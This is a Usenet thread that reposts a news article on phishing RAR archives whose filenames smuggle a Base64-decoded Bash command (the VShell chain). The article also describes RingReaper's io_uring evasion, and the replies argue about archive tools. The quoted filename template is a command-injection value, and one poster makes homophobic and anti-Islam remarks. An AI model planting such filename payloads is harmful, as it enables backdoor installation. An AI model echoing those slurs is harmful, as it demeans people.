From Newsgroup: alt.comp.os.windows-11

Cybersecurity researchers have shed light on a novel attack chain that
employs phishing emails to deliver an open-source backdoor called
VShell.

The "Linux-specific malware infection chain that starts with a spam
email with a malicious RAR archive file," Trellix researcher Sagar Bade
said in a technical write-up.

"The payload isn't hidden inside the file content or a macro, it's
encoded directly in the filename itself. Through clever use of shell
command injection and Base64-encoded Bash payloads, the attacker turns a
simple file listing operation into an automatic malware execution
trigger."

The technique, the cybersecurity company added, takes advantage of a
simple yet dangerous pattern commonly observed in shell scripts that
arises when file names are evaluated with inadequate sanitization,
thereby causing a trivial command like eval or echo to facilitate the
execution of arbitrary code.

What's more, the technique offers the added advantage of getting around traditional defenses, as antivirus engines don't typically scan file
names.

The starting point of the attack is an email message containing a RAR
archive, which includes a file with a maliciously crafted file name: "ziliao2.pdf`{echo,<Base64-encoded command>}|{base64,-d}|bash`"

Specifically, the file name incorporates Bash-compatible code that's
engineered to execute commands when it's interpreted by the shell. It's
worth noting that simply extracting the file from the archive does not
trigger execution. Rather, it occurs only when a shell script or command attempts to parse the file name.

Another important aspect to consider here is that it's not possible to
manually create a file name with this syntax, meaning it was likely
created using another language or dropped using an external tool or
script that bypasses shell input validation, Trellix said.

This, in turn, leads to the execution of an embedded Base64-encoded
downloader, which then retrieves from an external server an ELF binary
for the appropriate system architecture (x86_64, i386, i686, armv7l, or aarch64). The binary, for its part, initiates communication with a command-and-control (C2) server to obtain the encrypted VShell payload,
decode, and execute it on the host.

Trellix said the phishing emails are disguised as an invitation for a
beauty product survey, luring recipients with a monetary reward (10 RMB)
for completing it.

"Crucially, the email includes a RAR archive attachment ('yy.rar'), even
though it doesn't explicitly instruct the user to open or extract it,"
Bade explained. "The social engineering angle is subtle: The user is
distracted by the survey content, and the presence of the attachment
might be mistaken for a survey-related document or data file."

VShell is a Go-based remote access tool that has been widely put to use
by Chinese hacking groups in recent years, including UNC5174, supporting reverse shell, file operations, process management, port forwarding, and encrypted C2 communications.

What makes this attack dangerous is that the malware operates entirely in-memory, avoiding disk-based detection, not to mention it can target a
wide range of Linux devices.

"This analysis highlights a dangerous evolution in Linux malware
delivery where a simple file name embedded in a RAR archive can be
weaponized to execute arbitrary commands," Trellix said. "The infection
chain exploits command injection in shell loops, abuses Linux's
permissive execution environment, and ultimately delivers a powerful
backdoor VShell malware capable of full remote control over the system."

The development comes as Picus Security released a technical analysis of
a Linux-focused post-exploit tool dubbed RingReaper that leverages the
Linux kernel's io_uring framework to circumvent traditional monitoring
tools. It's currently not known who is behind the malware.

"Instead of invoking standard functions such as read, write, recv, send,
or connect, RingReaper employs io_uringprimitives (e.g.,
io_uring_prep_*) to execute equivalent operations asynchronously,"
security researcher Sila +zeren Hacioglu said. "This method helps bypass hook-based detection mechanisms and reduces the visibility of malicious activity in telemetry commonly gathered by EDR platforms."

RingReaper makes use of io_uring to enumerate system processes, active pseudo-terminal (PTS) sessions, network connections, and logged-in
users, while reducing its footprint and avoiding detection. It's also
capable of collecting user information from the "/etc/passwd" file,
abusing SUID binaries for privilege escalation, and erasing traces of
itself after execution.

"It exploits the Linux kernel's modern asynchronous I/O interface,
io_uring, to minimize reliance on conventional system calls that
security tools frequently monitor or hook," Picus said.

https://thehackernews.com/2025/08/linux-malware-delivered-via-malicious.h
tml

--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 27/8/2025 3:14 pm, Symon wrote:

Cybersecurity researchers have shed light on a novel attack chain that employs phishing emails to deliver an open-source backdoor called
VShell.

The "Linux-specific malware infection chain that starts with a spam
email with a malicious RAR archive file," Trellix researcher Sagar Bade
said in a technical write-up.

I think I have seen many bug reports about WinRAR ....
--
@~@ Simplicity is Beauty! Remain silent! Drink, Blink, Stretch!
/ v \ May the Force and farces be with you! Live long and prosper!!
/( _ )\ https://sites.google.com/site/changmw/
^ ^ https://github.com/changmw/changmw
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isnrCOt one of them, but I still donrCOt understand how the vulnerability is supposed to work. The proofs of concept on the Trellix page all seem to rely on wantonly dangerous use of the rCLevalrCY command, which would be a dumb thing to do indeed.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

Lawrence DAOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isnrCOt one of them, but I still donrCOt understand how the vulnerability
is supposed to work. The proofs of concept on the Trellix page all seem to rely on wantonly dangerous use of the rCLevalrCY command, which would be a dumb thing to do indeed.

I thought Linux didn't have any bugs or malware. Damn, things are
getting bad.

--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Wed, 27 Aug 2025 19:21:59 -0500, Hank Rogers wrote:

I thought Linux didn't have any bugs or malware.

This certainly isnrCOt one of them.

Damn, things are getting bad.

There used to be a lot more malware for Linux, back in the days when it
was less popular. As its popularity has gone up, it actually seems to be getting more secure.

<https://en.wikipedia.org/wiki/Linux_malware#Threats>
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Wed, 8/27/2025 8:21 PM, Hank Rogers wrote:

Lawrence DAOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isnt one of them, but I still dont understand how the vulnerability
is supposed to work. The proofs of concept on the Trellix page all seem to >> rely on wantonly dangerous use of the evalY command, which would be a
dumb thing to do indeed.

I thought Linux didn't have any bugs or malware.a Damn, things are getting bad.

The starting point of the attack is an email message containing a RAR
archive, which includes a file with a maliciously crafted file name:
"ziliao2.pdf`{echo,<Base64-encoded command>}|{base64,-d}|bash`"

Is that the Archive Manager, being called on to do something silly ?
Somewhere in that paragraph, is the guilty party. Why should an Archive
Manager evaluate a filename in an archive ? The file name should be
a static thing. Just like you would not evaluate a filename in a tar
file and attempt to expand it.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 28/08/2025 10:21 am, Hank Rogers wrote:

Lawrence DAOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isnrCOt one of them, but I still donrCOt understand how the
vulnerability is supposed to work. The proofs of concept on the
Trellix page all seem to rely on wantonly dangerous use of the
rCLevalrCY command, which would be a dumb thing to do indeed.

I thought Linux didn't have any bugs or malware. Damn, things are
getting bad.

Does ANYTHING ever get to "didn't have any bugs or malware" state??

"didn't have any *UNDISCOVERED* bugs or malware" today, sure, but who
know what will be the state tomorrow!!
--
Daniel70
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 8/28/2025 6:19 AM, Daniel70 wrote:

On 28/08/2025 10:21 am, Hank Rogers wrote:

Lawrence DAOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isnrCOt one of them, but I still donrCOt understand how the vulnerability is supposed to work. The proofs of concept on the
Trellix page all seem to rely on wantonly dangerous use of the
rCLevalrCY command, which would be a dumb thing to do indeed.

I thought Linux didn't have any bugs or malware.a Damn, things are getting bad.

Does ANYTHING ever get to "didn't have any bugs or malware" state??

"didn't have any *UNDISCOVERED* bugs or malware" today, sure, but who know what will be the state tomorrow!!

A lot of mistakes, are implementation mistakes like not
using a hardened routine for this or that. And, we can estimate
how many unclassified mistakes there are in a work. Like some
version of Windows, the estimate was 50,000 just based on the KLOC count. Microsoft would have automatic scans for the easy stuff -- even the
compiler can slap your fingers for some of those.

This is a different class of bug, in that it is an architecture bug.
It could be, that the private RAR module could be doing this, rather than
the Archive Manager applying this recipe to everything it does. There
is no mention of ZIP files having specially crafted filenames, for example.

The RAR decoder module is free. The only question I would have about
it, is whether it is Open Source and all the code for RAR in the
Archive Manager, can be read by anyone ("many eyes"). If Mr.Roshal
coded this up, and the activity is hidden in a binary blob, that would
make it easier to understand. It just doesn't seem like an activity you
would do at that level, and logically the place to be attempting
stuff like this, is the Archive Manager.

And once the Linux people find where in the code this is happening,
this will lead to an examination of the ecosystem, to make sure there
are no more of these (obviously bad) things out there. I doubt anyone
signed off on this as being "particularly clever". This might well be
code that was never reviewed.

The RAR encoder module costs money. That's how its author keeps himself fed. That only gets on a computer if you bought a copy.

7ZIP comes with an SDK, and the Archive Manager version could be based
on the SDK materials. (Even Windows uses libarchive, a recent addition.) Whereas the Windows 7Z executable version (from its web site) is closed
source as far as I know, but still free. The Windows version was recently modified to include a higher threads-of-execution count, so that it could
be used on machines with "processor groups" (you can finally compress with
your 96 core computer and use all 96 cores). The article describing this,
was VERY strangely worded, and the reporter was obviously in a shit-disturbing mood.

One of the acid tests for compressors, is getting two different versions
of code, to produce roughly the same file size. You can't expect an exact match, due to time stamps, but if the byte counts are the same, that is
a positive sign. When I tried to get Linux and Windows to make the same
7Z, it didn't work out that well. Generally I do not hear comments about
"this version could not decode the output of that version", that
seems handled pretty well. The two ecosystems could still read each others output.

It may have started with an email, but only part of the attachment handling would be done there, and handoff of any further layers of decoding needed, could end up with the Archive Manager. As a software dev, when you
"use someone elses services", you don't know how stupid they are. And
it may not be apparently, that something as silly as the problem description, is happening when you call that service. But some Black Hat figured it out.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-27 8:21 p.m., Hank Rogers wrote:

Lawrence DrCOOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isn|ore4raot one of them, but I still don|ore4raot understand how the >> vulnerability
is supposed to work. The proofs of concept on the Trellix page all
seem to
rely on wantonly dangerous use of the |ore4+oeval|ore4-Y command, which would
be a
dumb thing to do indeed.

I thought Linux didn't have any bugs or malware.-a Damn, things are
getting bad.

Every operating system has vulnerabilities. The obstacle to fixing them
on Linux used to be devout Linux zealots who would deny their severity
or the existence of the problem. Now, it's a band of homosexual
crusaders who put sexual identity before competence and are mostly
incapable of fixing them even if asked to do so. As sad as it is, Linux
is only going to get worse because of this, just look at how many
orphaned modules the Linux kernels now contains.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-27 8:41 p.m., Lawrence DrCOOliveiro wrote:

On Wed, 27 Aug 2025 19:21:59 -0500, Hank Rogers wrote:

I thought Linux didn't have any bugs or malware.

This certainly isnrCOt one of them.

Damn, things are getting bad.

There used to be a lot more malware for Linux, back in the days when it
was less popular. As its popularity has gone up, it actually seems to be getting more secure.

<https://en.wikipedia.org/wiki/Linux_malware#Threats>

Malware is not as much of a problem as the vulnerabilities are. People
deny their existence, but they are there and it often takes a long time
before they are fixed.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 13:54, Paul wrote:

On Thu, 8/28/2025 6:19 AM, Daniel70 wrote:

On 28/08/2025 10:21 am, Hank Rogers wrote:

Lawrence DrCOOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isn|ore4raot one of them, but I still don|ore4raot understand how the vulnerability is supposed to work. The proofs of concept on the
Trellix page all seem to rely on wantonly dangerous use of the
|ore4+oeval|ore4-Y command, which would be a dumb thing to do indeed.

I thought Linux didn't have any bugs or malware.-a Damn, things are getting bad.

Does ANYTHING ever get to "didn't have any bugs or malware" state??

"didn't have any *UNDISCOVERED* bugs or malware" today, sure, but who know what will be the state tomorrow!!

A lot of mistakes, are implementation mistakes like not
using a hardened routine for this or that. And, we can estimate
how many unclassified mistakes there are in a work. Like some
version of Windows, the estimate was 50,000 just based on the KLOC count. Microsoft would have automatic scans for the easy stuff -- even the
compiler can slap your fingers for some of those.

This is a different class of bug, in that it is an architecture bug.
It could be, that the private RAR module could be doing this, rather than
the Archive Manager applying this recipe to everything it does. There
is no mention of ZIP files having specially crafted filenames, for example.

The RAR decoder module is free. The only question I would have about
it, is whether it is Open Source and all the code for RAR in the
Archive Manager, can be read by anyone ("many eyes"). If Mr.Roshal
coded this up, and the activity is hidden in a binary blob, that would
make it easier to understand. It just doesn't seem like an activity you
would do at that level, and logically the place to be attempting
stuff like this, is the Archive Manager.

There are two decoders.

One is "unrar". The source is available, but AFAIK it doesn't classify
as "open source". SUSE classifies it as "NonFree".

cer@Telcontar:~> rpm -qi unrar
Name : unrar
Version : 7.1.1
Release : lp156.2.3.1
Architecture: x86_64
Install Date: 2025-02-13T21:45:22 CET
Group : Unspecified
Size : 404795
License : NonFree
Signature : RSA/SHA512, 2024-12-08T11:55:04 CET, Key ID 35a2f86e29b700a4 Source RPM : unrar-7.1.1-lp156.2.3.1.src.rpm
Build Date : 2024-12-08T11:54:57 CET
Build Host : h02-ch1a
Relocations : (not relocatable)
Packager : http://bugs.opensuse.org
Vendor : openSUSE
URL : https://www.rarlab.com
Summary : A program to extract, test, and view RAR archives
Description :
The unRAR utility is a freeware program distributed with source code
and developed for extracting, testing, and viewing the contents of
archives created with the RAR archiver.
Distribution: SUSE Linux Enterprise 15
cer@Telcontar:~>


file "/usr/share/doc/packages/unrar/readme.txt" says:

4. Legal stuff

Unrar source may be used in any software to handle RAR archives
without limitations free of charge, but cannot be used to re-create
the RAR compression algorithm, which is proprietary. Distribution
of modified Unrar source in separate form or as a part of other
software is permitted, provided that it is clearly stated in
the documentation and source comments that the code may not be used
to develop a RAR (WinRAR) compatible archiver.

More detailed license text is available in license.txt.


However, the file "license.txt" is not available, dunno why.


The other decoder is in the shareware "rar" package:

cer@Telcontar:~> rpm -qi rar
Name : rar
Version : 6.2.2
Release : 150600.1.pm.2
Architecture: x86_64
Install Date: 2025-02-13T21:54:54 CET
Group : Productivity/Archiving/Compression
Size : 1001629
License : NonFree
Signature : RSA/SHA1, 2024-10-17T10:26:00 CEST, Key ID 45a1d0671abd1afb Source RPM : rar-6.2.2-150600.1.pm.2.src.rpm
Build Date : 2024-10-17T03:58:06 CEST
Build Host : buildwk3
Relocations : (not relocatable)
Packager : packman@links2linux.de
Vendor : http://packman.links2linux.de
URL : https://www.rarsoft.com
Summary : Compression and decompression program rar
Description :
Compression and decompression program.
Distribution: Extra / openSUSE_Leap_15.6
cer@Telcontar:~>


It is not clear what package presents the problem, but I guess it is
both. readme file in unrar says:


1. General

Unrar source is subset of RAR and generated from RAR source
automatically,
by a small program removing blocks like '#ifndef UNRAR ... #endif'.
Such method is not perfect and you may find some RAR related stuff
unnecessary in Unrar, especially in header files.

And once the Linux people find where in the code this is happening,
this will lead to an examination of the ecosystem, to make sure there
are no more of these (obviously bad) things out there. I doubt anyone
signed off on this as being "particularly clever". This might well be
code that was never reviewed.

The RAR encoder module costs money. That's how its author keeps himself fed. That only gets on a computer if you bought a copy.

7ZIP comes with an SDK, and the Archive Manager version could be based
on the SDK materials. (Even Windows uses libarchive, a recent addition.) Whereas the Windows 7Z executable version (from its web site) is closed source as far as I know, but still free. The Windows version was recently modified to include a higher threads-of-execution count, so that it could
be used on machines with "processor groups" (you can finally compress with your 96 core computer and use all 96 cores). The article describing this,
was VERY strangely worded, and the reporter was obviously in a shit-disturbing
mood.

One of the acid tests for compressors, is getting two different versions
of code, to produce roughly the same file size. You can't expect an exact match, due to time stamps, but if the byte counts are the same, that is
a positive sign. When I tried to get Linux and Windows to make the same
7Z, it didn't work out that well. Generally I do not hear comments about "this version could not decode the output of that version", that
seems handled pretty well. The two ecosystems could still read each others output.

It may have started with an email, but only part of the attachment handling would be done there, and handoff of any further layers of decoding needed, could end up with the Archive Manager. As a software dev, when you
"use someone elses services", you don't know how stupid they are. And
it may not be apparently, that something as silly as the problem description, is happening when you call that service. But some Black Hat figured it out.

The rar compressor is not very useful in Linux. It has features I like,
as error correction, but it can not save all the file attributes. I
don't think it is popular.

However, it is possible to get emails with rar attachments. I have got a
few. And there are tools that automatically examine the contents of emails.
--
Cheers, Carlos.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 8:57 a.m., Carlos E.R. wrote:

On 2025-08-28 13:54, Paul wrote:

On Thu, 8/28/2025 6:19 AM, Daniel70 wrote:

On 28/08/2025 10:21 am, Hank Rogers wrote:

Lawrence DrCOOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isn|ore4raot one of them, but I still don|ore4raot understand how the
vulnerability is supposed to work. The proofs of concept on the
Trellix page all seem to rely on wantonly dangerous use of the
|ore4+oeval|ore4-Y command, which would be a dumb thing to do indeed. >>>>

I thought Linux didn't have any bugs or malware.-a Damn, things are
getting bad.

Does ANYTHING ever get to "didn't have any bugs or malware" state??

"didn't have any *UNDISCOVERED* bugs or malware" today, sure, but who
know what will be the state tomorrow!!

A lot of mistakes, are implementation mistakes like not
using a hardened routine for this or that. And, we can estimate
how many unclassified mistakes there are in a work. Like some
version of Windows, the estimate was 50,000 just based on the KLOC count.
Microsoft would have automatic scans for the easy stuff -- even the
compiler can slap your fingers for some of those.

This is a different class of bug, in that it is an architecture bug.
It could be, that the private RAR module could be doing this, rather than
the Archive Manager applying this recipe to everything it does. There
is no mention of ZIP files having specially crafted filenames, for
example.

The RAR decoder module is free. The only question I would have about
it, is whether it is Open Source and all the code for RAR in the
Archive Manager, can be read by anyone ("many eyes"). If Mr.Roshal
coded this up, and the activity is hidden in a binary blob, that would
make it easier to understand. It just doesn't seem like an activity you
would do at that level, and logically the place to be attempting
stuff like this, is the Archive Manager.

There are two decoders.

One is "unrar". The source is available, but AFAIK it doesn't classify
as "open source". SUSE classifies it as "NonFree".

cer@Telcontar:~> rpm -qi unrar
Name-a-a-a-a-a-a-a : unrar
Version-a-a-a-a : 7.1.1
Release-a-a-a-a : lp156.2.3.1
Architecture: x86_64
Install Date: 2025-02-13T21:45:22 CET
Group-a-a-a-a-a-a : Unspecified
Size-a-a-a-a-a-a-a : 404795
License-a-a-a-a : NonFree
Signature-a-a : RSA/SHA512, 2024-12-08T11:55:04 CET, Key ID 35a2f86e29b700a4 Source RPM-a : unrar-7.1.1-lp156.2.3.1.src.rpm
Build Date-a : 2024-12-08T11:54:57 CET
Build Host-a : h02-ch1a
Relocations : (not relocatable)
Packager-a-a-a : http://bugs.opensuse.org
Vendor-a-a-a-a-a : openSUSE
URL-a-a-a-a-a-a-a-a : https://www.rarlab.com
Summary-a-a-a-a : A program to extract, test, and view RAR archives Description :
The unRAR utility is a freeware program distributed with source code
and developed for extracting, testing, and viewing the contents of
archives created with the RAR archiver.
Distribution: SUSE Linux Enterprise 15
cer@Telcontar:~>

file "/usr/share/doc/packages/unrar/readme.txt" says:

-a-a 4. Legal stuff

-a-a Unrar source may be used in any software to handle RAR archives
-a-a without limitations free of charge, but cannot be used to re-create
-a-a the RAR compression algorithm, which is proprietary. Distribution
-a-a of modified Unrar source in separate form or as a part of other
-a-a software is permitted, provided that it is clearly stated in
-a-a the documentation and source comments that the code may not be used
-a-a to develop a RAR (WinRAR) compatible archiver.

-a-a More detailed license text is available in license.txt.

However, the file "license.txt" is not available, dunno why.

The other decoder is in the shareware "rar" package:

cer@Telcontar:~> rpm -qi rar
Name-a-a-a-a-a-a-a : rar
Version-a-a-a-a : 6.2.2
Release-a-a-a-a : 150600.1.pm.2
Architecture: x86_64
Install Date: 2025-02-13T21:54:54 CET
Group-a-a-a-a-a-a : Productivity/Archiving/Compression
Size-a-a-a-a-a-a-a : 1001629
License-a-a-a-a : NonFree
Signature-a-a : RSA/SHA1, 2024-10-17T10:26:00 CEST, Key ID 45a1d0671abd1afb Source RPM-a : rar-6.2.2-150600.1.pm.2.src.rpm
Build Date-a : 2024-10-17T03:58:06 CEST
Build Host-a : buildwk3
Relocations : (not relocatable)
Packager-a-a-a : packman@links2linux.de
Vendor-a-a-a-a-a : http://packman.links2linux.de
URL-a-a-a-a-a-a-a-a : https://www.rarsoft.com
Summary-a-a-a-a : Compression and decompression program rar
Description :
Compression and decompression program.
Distribution: Extra / openSUSE_Leap_15.6
cer@Telcontar:~>

It is not clear what package presents the problem, but I guess it is
both. readme file in unrar says:

-a-a 1. General

-a-a Unrar source is subset of RAR and generated from RAR source automatically,
-a-a by a small program removing blocks like '#ifndef UNRAR ... #endif'.
-a-a Such method is not perfect and you may find some RAR related stuff
-a-a unnecessary in Unrar, especially in header files.

And once the Linux people find where in the code this is happening,
this will lead to an examination of the ecosystem, to make sure there
are no more of these (obviously bad) things out there. I doubt anyone
signed off on this as being "particularly clever". This might well be
code that was never reviewed.

The RAR encoder module costs money. That's how its author keeps
himself fed.
That only gets on a computer if you bought a copy.

7ZIP comes with an SDK, and the Archive Manager version could be based
on the SDK materials. (Even Windows uses libarchive, a recent addition.)
Whereas the Windows 7Z executable version (from its web site) is closed
source as far as I know, but still free. The Windows version was recently
modified to include a higher threads-of-execution count, so that it could
be used on machines with "processor groups" (you can finally compress
with
your 96 core computer and use all 96 cores). The article describing this,
was VERY strangely worded, and the reporter was obviously in a shit-
disturbing
mood.

One of the acid tests for compressors, is getting two different versions
of code, to produce roughly the same file size. You can't expect an exact
match, due to time stamps, but if the byte counts are the same, that is
a positive sign. When I tried to get Linux and Windows to make the same
7Z, it didn't work out that well. Generally I do not hear comments about
"this version could not decode the output of that version", that
seems handled pretty well. The two ecosystems could still read each
others output.

It may have started with an email, but only part of the attachment
handling
would be done there, and handoff of any further layers of decoding
needed,
could end up with the Archive Manager. As a software dev, when you
"use someone elses services", you don't know how stupid they are. And
it may not be apparently, that something as silly as the problem
description,
is happening when you call that service. But some Black Hat figured it
out.

The rar compressor is not very useful in Linux. It has features I like,
as error correction, but it can not save all the file attributes. I
don't think it is popular.

However, it is possible to get emails with rar attachments. I have got a few. And there are tools that automatically examine the contents of emails.

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine, especially with its encryption capabilities.
As far as I know, there are a few open-source programs capable of
opening 7z and compressing to that format.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28, Lawrence DrCOOliveiro <ldo@nz.invalid> wrote:

On Wed, 27 Aug 2025 19:21:59 -0500, Hank Rogers wrote:

I thought Linux didn't have any bugs or malware.

This certainly isnrCOt one of them.

Damn, things are getting bad.

There used to be a lot more malware for Linux, back in the days when it
was less popular. As its popularity has gone up, it actually seems to be getting more secure.

<https://en.wikipedia.org/wiki/Linux_malware#Threats>

That's because major hardware companies like IBM are using Linux to power their mainframe
hardware management consoles and Linux is running under the covers in all types of
devices, adapters and so forth.
The same level of security does trickle down to use peon users.
--
pothead

"Our lives are fashioned by our choices. First we make our choices.
Then our choices make us."
-- Anne Frank
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 15:02, CrudeSausage wrote:

On 2025-08-28 8:57 a.m., Carlos E.R. wrote:

On 2025-08-28 13:54, Paul wrote:

On Thu, 8/28/2025 6:19 AM, Daniel70 wrote:

On 28/08/2025 10:21 am, Hank Rogers wrote:

Lawrence DrCOOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

...

The rar compressor is not very useful in Linux. It has features I
like, as error correction, but it can not save all the file
attributes. I don't think it is popular.

However, it is possible to get emails with rar attachments. I have got
a few. And there are tools that automatically examine the contents of
emails.

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine, especially with its encryption capabilities.
As far as I know, there are a few open-source programs capable of
opening 7z and compressing to that format.

Sure.

But when we are receiving email, it is not our choice what compressor
will be used.

I did notice, though, on a gmx account, that I got several posts with
rar attachments with executables in them. Obviously malware of some
sort. If some unknown sends me a .rar with an .exe inside, it will be
malware. One plus one is two.

But gmx filters did not detect it, and reporting that got nowhere.
--
Cheers, Carlos.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing them
on Linux used to be devout Linux zealots who would deny their severity
or the existence of the problem.

I don't recall any such thing happening.

Now, it's a band of homosexual
crusaders who put sexual identity before competence and are mostly
incapable of fixing them even if asked to do so. As sad as it is, Linux
is only going to get worse because of this, just look at how many
orphaned modules the Linux kernels now contains.

How many are there? Do they hurt anything?

Much of Linux development is driven from business interests, and
that's not going away.
--
"And what this also means is that the allegations and insinuations
that 98% of the world are ignorant boobs is way, way off base" -
lying asshole "-hh", lying shamelessly
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 08:44:30 -0400, CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing
them on Linux used to be devout Linux zealots who would deny their
severity or the existence of the problem.

And of course no non-zealot has the software chops to come up with
their own fixes, have they? ItrCOs not like the software is free for you
to use and study and modify and redistribute and ...

... oh, wait.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 07:54:45 -0400, Paul wrote:

This is a different class of bug, in that it is an architecture bug.

There is no rCLbugrCY or rCLsecurity vulnerabilityrCY here. Look at the Trellix
report again: the only way the rCLsecurity expertrCY could compromise their system was by doing stupid things with the rCLevalrCY command.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 14:57:33 +0200, Carlos E.R. wrote:

There are two decoders.

One is "unrar". The source is available, but AFAIK it doesn't classify
as "open source". SUSE classifies it as "NonFree".

Debian has two unrar packages, named rCLunrarrCY and rCLunrar-freerCY. The rCLunarrCY
package is Free software, and can extract .rar up to version 4, though not version 5, last I checked.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 09:02:34 -0400, CrudeSausage wrote:

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine ...

A few times now, after extracting a .rar archive, I have tried
recompressing the result as .7z.

In every case, the .7z file ended up smaller than the .rar version.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 08:45:16 -0400, CrudeSausage wrote:

Malware is not as much of a problem as the vulnerabilities are.

There was no rCLvulnerabilityrCY here. Read the Trellix report for yourself, and judge.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 8/28/2025 6:32 PM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 07:54:45 -0400, Paul wrote:

This is a different class of bug, in that it is an architecture bug.

There is no rCLbugrCY or rCLsecurity vulnerabilityrCY here. Look at the Trellix
report again: the only way the rCLsecurity expertrCY could compromise their system was by doing stupid things with the rCLevalrCY command.

But you still have to figure out, where that is happening during the event.

Some piece of code needs to be fixed.

I doubt this would have passed a review.

Paul

--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 8/28/2025 8:44 AM, CrudeSausage wrote:

On 2025-08-27 8:21 p.m., Hank Rogers wrote:

Lawrence DrCOOliveiro wrote on 8/27/2025 6:22 PM:

On Wed, 27 Aug 2025 23:25:34 +0800, Mr. Man-wai Chang wrote:

I think I have seen many bug reports about WinRAR ....

This isn|ore4raot one of them, but I still don|ore4raot understand how the vulnerability
is supposed to work. The proofs of concept on the Trellix page all seem to >>> rely on wantonly dangerous use of the |ore4+oeval|ore4-Y command, which would be a
dumb thing to do indeed.

I thought Linux didn't have any bugs or malware.-a Damn, things are getting bad.

Every operating system has vulnerabilities. The obstacle to fixing them on Linux used to be devout Linux zealots who would deny their severity or the existence of the problem. Now, it's a band of homosexual crusaders who put sexual identity before competence and are mostly incapable of fixing them even if asked to do so. As sad as it is, Linux is only going to get worse because of this, just look at how many orphaned modules the Linux kernels now contains.

The zeolots don't write the code.
Software developers do, many of them educated and
not just lame hackers by trade.

You should examine the history of libjpeg, for more
of a perspective on software. That is a very old library,
and at least one of the participants might have been at
Apple. The problem with the library, is it did not
receive code reviews as time passed. Just because a library
passes a review in 1990, does not mean it is fuzz-proof in
2025. Code review never stops, as exploit methods are
discovered. When you use a FOSS library, even libjpeg
in the year 2025, as a team you are supposed to review the
source for that.

There might be more to this story than has been reported.
Maybe there is an actual exploit, allowing the shell to become
involved where that was not expected. There might not have been
an actual intention to be messing with filenames like that.

But Carlos points the way, by pointing out that unrar is a
stand alone utility, and it could be that a command is passed
calling unrar in a sub-shell (to decode a single named item in
a .rar) . And with the appropriate syntax (caused by how the filename
was formulated), the shell could be commanded to expand the string.
It means a more secure subshell is needed for the job, one with
certain features removed.

If the email tool used libarchive directly, maybe this would not
happen. Libarchive would be linked in, and in the same process
space, no subshelling needed. You can tighten up the code. Or
a more logical result, is to stop supporting the complete
disassembly of every possible attachment. I had an email tool
years ago, all it had was BASE64, it detached all the attachments
and put them in a suitable folder tree. And you would find
"dangerous.rar" in the folder, and you would use a separate tool that
would not be shelling out for fun.

